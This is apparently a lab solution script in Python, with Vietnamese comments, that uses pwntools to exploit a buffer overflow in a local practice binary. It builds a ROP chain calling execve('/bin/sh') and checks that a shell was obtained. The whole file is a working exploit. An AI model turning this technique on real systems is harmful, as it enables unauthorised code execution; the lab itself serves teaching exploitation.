#!/usr/bin/env python3
# Lab 6.3: ret2syscall. Binary static, no-PIE -> dia chi gadget co dinh, ASLR khong anh huong.
# Goi execve("/bin/sh", 0, 0): rax=59, rdi=&"/bin/sh", rsi=0, rdx=0, syscall.
from pwn import *
import time

context.binary = elf = ELF('./syscall')
context.log_level = 'info'

io = process('./syscall')
offset = 72                        # tu xac minh bang cyclic

binsh = next(elf.search(b'/bin/sh\x00'))
log.info('/bin/sh @ %#x', binsh)

# Cach 1: de pwntools tu xep gadget cho execve
rop = ROP(elf)
rop.execve(binsh, 0, 0)
log.info('\n' + rop.dump())

payload = flat(b'A' * offset, rop.chain())
io.send(payload)

# cho read(0,buf,512) tra ve va shell spawn truoc khi gui lenh (tranh bi nuot)
time.sleep(0.5)
io.sendline(b'echo ===PWNED_6_3===; id; uname -a; echo ===END===')
io.sendline(b'exit')
out = io.recvall(timeout=5).decode(errors='replace')
print(out)
assert 'uid=' in out and '===PWNED_6_3===' in out, 'FAIL: khong lay duoc shell'
log.success('ret2syscall OK: execve("/bin/sh") da lay shell')
